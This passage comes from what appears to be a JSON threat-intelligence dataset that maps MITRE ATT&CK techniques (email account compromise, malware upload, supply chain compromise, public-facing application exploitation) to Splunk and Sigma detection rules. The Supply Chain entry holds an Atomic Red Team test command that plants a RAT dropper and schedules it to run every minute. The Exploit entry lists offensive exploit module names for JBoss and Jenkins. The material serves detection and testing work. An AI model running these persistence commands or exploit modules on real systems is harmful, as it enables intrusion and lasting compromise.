which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "command_list": [], - "commands": [], - "queries": [], - "parsed_datasets": [], - "possible_detections": [ - { - "technique_id": "T1586.002", - "x_mitre_is_subtechnique": true, - "technique": "Email Accounts", - "tactic": [ - "resource-development" - ], - "platform": [ - "PRE" - ] - } - ], - "external_reference": [], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1586.002", - "stix": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b" - }, - { - "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "name": "Upload Malware", - "created": "2021-03-17T20:09:13.222Z", - "modified": "2023-04-11T23:22:49.534Z", - "type": "attack-pattern", - "x_mitre_data_sources": [ - "Internet Scan: Response Content" - ], - "x_mitre_contributors": [ - "Kobi Haimovich, CardinalOps", - "Goldstein Menachem" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [], - "x_mitre_attack_spec_version": "3.1.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1608/001", - "external_id": "T1608.001", - "description": "" - }, - { - "source_name": "Volexity Ocean Lotus November 2020", - "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", - "external_id": "", - "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." - }, - { - "source_name": "Talos IPFS 2022", - "url": "https://blog.talosintelligence.com/ipfs-abuse/", - "external_id": "", - "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023." - } - ], - "x_mitre_detectable_by_common_defenses": "", - "x_mitre_detectable_by_common_defenses_explanation": "", - "x_mitre_difficulty_for_adversary": "", - "x_mitre_difficulty_for_adversary_explanation": "", - "x_mitre_old_attack_id": "", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_platforms": [ - "PRE" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_tactic_type": [], - "x_mitre_version": "1.2", - "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "command_list": [], - "commands": [], - "queries": [], - "parsed_datasets": [], - "possible_detections": [ - { - "technique_id": "T1608.001", - "x_mitre_is_subtechnique": true, - "technique": "Upload Malware", - "tactic": [ - "resource-development" - ], - "platform": [ - "PRE" - ] - } - ], - "external_reference": [], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1608.001", - "stix": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e" - }, - { - "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", - "name": "Supply Chain Compromise", - "created": "2018-04-18T17:59:24.739Z", - "modified": "2024-02-26T14:23:37.009Z", - "type": "attack-pattern", - "x_mitre_data_sources": [ - "Sensor Health: Host Status", - "File: File Metadata" - ], - "x_mitre_contributors": [ - "Veeral Patel" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [], - "x_mitre_attack_spec_version": "3.2.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1195", - "external_id": "T1195", - "description": "" - }, - { - "source_name": "Avast CCleaner3 2018", - "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", - "external_id": "", - "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018." - }, - { - "source_name": "Command Five SK 2011", - "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf", - "external_id": "", - "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018." - }, - { - "source_name": "IBM Storwize", - "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E", - "external_id": "", - "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019." - }, - { - "source_name": "Symantec Elderwood Sept 2012", - "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", - "external_id": "", - "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018." - }, - { - "source_name": "Schneider Electric USB Malware", - "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/", - "external_id": "", - "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019." - }, - { - "source_name": "Trendmicro NPM Compromise", - "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", - "external_id": "", - "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019." - }, - { - "source_name": "Microsoft Dofoil 2018", - "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", - "external_id": "", - "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018." - } - ], - "x_mitre_detectable_by_common_defenses": "", - "x_mitre_detectable_by_common_defenses_explanation": "", - "x_mitre_difficulty_for_adversary": "", - "x_mitre_difficulty_for_adversary_explanation": "", - "x_mitre_old_attack_id": "", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_tactic_type": [], - "x_mitre_version": "1.6", - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "command_list": [ - "copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\n" - ], - "commands": [], - "queries": [], - "parsed_datasets": [ - { - "source": "atomics/T1195/T1195.yaml", - "name": "Atomic Red Team Test - Supply Chain Compromise", - "content": { - "attack_technique": "T1195", - "display_name": "Supply Chain Compromise", - "atomic_tests": [ - { - "name": "Octopus Scanner Malware Open Source Supply Chain", - "auto_generated_guid": "82a9f001-94c5-495e-9ed5-f530dbded5e2", - "description": "This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db\n[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)\n[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "rat_payload": { - "description": "RAT dropper ExplorerSync.db", - "type": "path", - "default": "$env:TEMP\\ExplorerSync.db" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "ExplorerSync.db must exist on disk at specified location (#{rat_payload})\n", - "prereq_command": "if (Test-Path #{rat_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Out-File -FilePath \"#{rat_payload}\"\n" - } - ], - "executor": { - "command": "copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\n", - "cleanup_command": "schtasks /delete /tn ExplorerSync /F 2>null\ndel %temp%\\..\\Microsoft\\ExplorerSync.db 2>null\ndel %temp%\\ExplorerSync.db 2>null\n", - "name": "command_prompt" - } - } - ] - } - } - ], - "possible_detections": [ - { - "technique_id": "T1195", - "technique": "Supply Chain Compromise", - "tactic": [ - "initial-access" - ], - "platform": [ - "Linux", - "Windows", - "macOS" - ] - }, - [ - { - "Event ID": "4663", - "Event Name": "File monitoring" - }, - { - "Event ID": null, - "Event Name": "Web proxy" - } - ], - [ - { - "Event ID": null, - "Event Name": "Web proxy" - }, - { - "Event ID": "4663", - "Event Name": "File monitoring" - } - ], - { - "name": "GitHub Actions Disable Security Workflow", - "description": "The following analytic detects the disabling of a security workflow in GitHub Actions. It leverages GitHub logs to identify when a workflow, excluding those named *security-testing*, is disabled following a push or pull request event. This activity is significant as it may indicate an attempt by an attacker to conceal malicious code by disabling security checks. If confirmed malicious, this could allow the attacker to introduce and persist undetected malicious code within the repository, potentially compromising the integrity and security of the codebase.", - "search": "`github` workflow_run.event=push OR workflow_run.event=pull_request | stats values(workflow_run.name) as workflow_run.name by workflow_run.head_commit.id workflow_run.event workflow_run.head_branch workflow_run.head_commit.author.email workflow_run.head_commit.author.name workflow_run.head_commit.message workflow_run.head_commit.timestamp workflow_run.head_repository.full_name workflow_run.head_repository.owner.id workflow_run.head_repository.owner.login workflow_run.head_repository.owner.type | rename workflow_run.head_commit.author.name as user, workflow_run.head_commit.author.email as user_email, workflow_run.head_repository.full_name as repository, workflow_run.head_branch as branch | search NOT workflow_run.name=*security-testing* | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_actions_disable_security_workflow_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Security Workflow is disabled in branch $branch$ for repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.002", - "mitre_attack_technique": "Compromise Software Supply Chain", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT41", - "Cobalt Group", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Sandworm Team", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GitHub Dependabot Alert", - "description": "The following analytic identifies the creation of GitHub Dependabot alerts, which indicate potential vulnerabilities in the codebase. It detects this activity by searching for logs with the \"create\" action and analyzing fields such as affected package, severity, and fixed version. This detection is significant for a SOC because it helps identify and address security risks in the codebase proactively. If confirmed malicious, these vulnerabilities could be exploited by attackers to gain unauthorized access or cause breaches, leading to potential data loss or system compromise.", - "search": "`github` alert.id=* action=create | rename repository.full_name as repository, repository.html_url as repository_url sender.login as user | stats min(_time) as firstTime max(_time) as lastTime by action alert.affected_package_name alert.affected_range alert.created_at alert.external_identifier alert.external_reference alert.fixed_in alert.severity repository repository_url user | eval phase=\"code\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_dependabot_alert_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities found in packages used by GitHub repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.001", - "mitre_attack_technique": "Compromise Software Dependencies and Development Tools", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GitHub Pull Request from Unknown User", - "description": "The following analytic detects pull requests from unknown users on GitHub. It uses a Splunk query to identify pull requests where the user ID is not specified and cross-references these with a known users lookup table. This activity is significant because pull requests from unknown users can introduce malicious code or unauthorized changes to repositories. If confirmed malicious, this could lead to unauthorized code changes, data breaches, or other security incidents. Immediate steps include reviewing the author's name, repository, head reference, and commit message, and investigating any related artifacts and processes.", - "search": "`github` check_suite.pull_requests{}.id=* | stats count by check_suite.head_commit.author.name repository.full_name check_suite.pull_requests{}.head.ref check_suite.head_commit.message | rename check_suite.head_commit.author.name as user repository.full_name as repository check_suite.pull_requests{}.head.ref as ref_head check_suite.head_commit.message as commit_message | search NOT `github_known_users` | eval phase=\"code\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_pull_request_from_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities found in packages used by GitHub repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.001", - "mitre_attack_technique": "Compromise Software Dependencies and Development Tools", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } - } - ], - "external_reference": [ - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" - ], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1195", - "stix": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" - }, - { - "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", - "name": "Exploit Public-Facing Application", - "created": "2018-04-18T17:59:24.739Z", - "modified": "2023-11-28T21:27:35.373Z", - "type": "attack-pattern", - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Content", - "Application Log: Application Log Content" - ], - "x_mitre_contributors": [ - "Yossi Weizman, Azure Defender Research Team", - "Praetorian" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [], - "x_mitre_attack_spec_version": "3.2.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1190", - "external_id": "T1190", - "description": "" - }, - { - "source_name": "CWE top 25", - "url": "https://cwe.mitre.org/top25/index.html", - "external_id": "", - "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019." - }, - { - "source_name": "CIS Multiple SMB Vulnerabilities", - "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", - "external_id": "", - "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018." - }, - { - "source_name": "Wired Russia Cyberwar", - "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/", - "external_id": "", - "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023." - }, - { - "source_name": "Mandiant Fortinet Zero Day", - "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem", - "external_id": "", - "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023." - }, - { - "source_name": "NVD CVE-2016-6662", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", - "external_id": "", - "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018." - }, - { - "source_name": "NVD CVE-2014-7169", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", - "external_id": "", - "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018." - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "external_id": "", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - }, - { - "source_name": "OWASP Top 10", - "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", - "external_id": "", - "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018." - }, - { - "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", - "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", - "external_id": "", - "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020." - } - ], - "x_mitre_detectable_by_common_defenses": "", - "x_mitre_detectable_by_common_defenses_explanation": "", - "x_mitre_difficulty_for_adversary": "", - "x_mitre_difficulty_for_adversary_explanation": "", - "x_mitre_old_attack_id": "", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_platforms": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_tactic_type": [], - "x_mitre_version": "2.5", - "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "command_list": [ - "powershell/exploitation/exploit_jboss", - "powershell/exploitation/exploit_jenkins", - "powershell/lateral_movement/jenkins_script_console", - "python/exploit/web/jboss_jmx" - ], - "commands": [], - "queries": [ - { - "title": "Exploited CVE-2020-10189 Zoho ManageEngine", - "id": "846b866e-2a57-46ee-8e16-85fa92759be7", - "status": "experimental", - "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", - "references": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://nvd.nist.gov/vuln/detail/CVE-2020-10189", - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10189", - "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224" - ], - "author": "Florian Roth", - "date": "2020/03/25", - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "logsource": { - "category": "process_creation", - "product": "windows" - }, - "detection": { - "selection": { - "ParentImage|endswith": "DesktopCentral_Server\\jre\\bin\\java.exe", - "Image|endswith": [ - "*\\cmd.exe", - "*\\powershell.exe", - "*\\bitsadmin.exe" - ] - }, - "condition": "selection" - }, - "falsepositives": [ - "Unknown" - ], - "level": "critical" - }, - { - "title": "Potential RDP Exploit CVE-2019-0708", - "id": "aaa5b30d-f418-420b-83a0-299cb6024885", - "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", - "references": [ - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://github.com/Ekultek/BlueKeep" - ], - "tags": [ - "attack.initial_access", - "attack.lateral_movement", - "attack.t1210", - "attack.t1190", - "car.2013-07-002" - ], - "status": "experimental", - "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", - "date": "2019/05/24", - "logsource": { - "product": "windows", - "service": "system" - }, - "detection": { - "selection": { - "EventID": [ - 56, - 50 - ], - "Source": "TermDD" - }, - "condition": "selection" - }, - "falsepositives": [ - "Bad connections or network interruptions" - ], - "level": "high" - }, - { - "title": "CVE-2020-0688 Exploitation via Eventlog", - "id": "d6266bf5-935e-4661-b477-78772735a7cb", - "status": "experimental", - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "references": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/" - ], - "author": "Florian Roth", - "date": "2020/02/29", - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "logsource": { - "product": "windows", - "service": "application" - }, - "detection": { - "selection1": { - "EventID": 4, - "Source": "MSExchange Control Panel", - "Level": "Error" - }, - "selection2": [ - "*&__VIEWSTATE=*" - ], - "condition": "selection1 and selection2" - }, - "falsepositives": [ - "Unknown" - ], - "level": "high" - } - ], - "parsed_datasets": [], - "possible_detections": [ - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "application log", - "definition": "Logs from events in third-party applications (mail server, web applications, etc.).", - "collection_layers": [ - "host", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Google Workspace" - ], - "contributors": [ - "ATT&CK" - ], - "data_component": "application log content", - "type": "information", - "description": "Data captured in an application log.", - "source_data_element": "application log", - "relationship": "contained", - "target_data_element": "application event entries", - "references": [ - "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" - ] - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "administration traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "dns traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "encrypted traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - 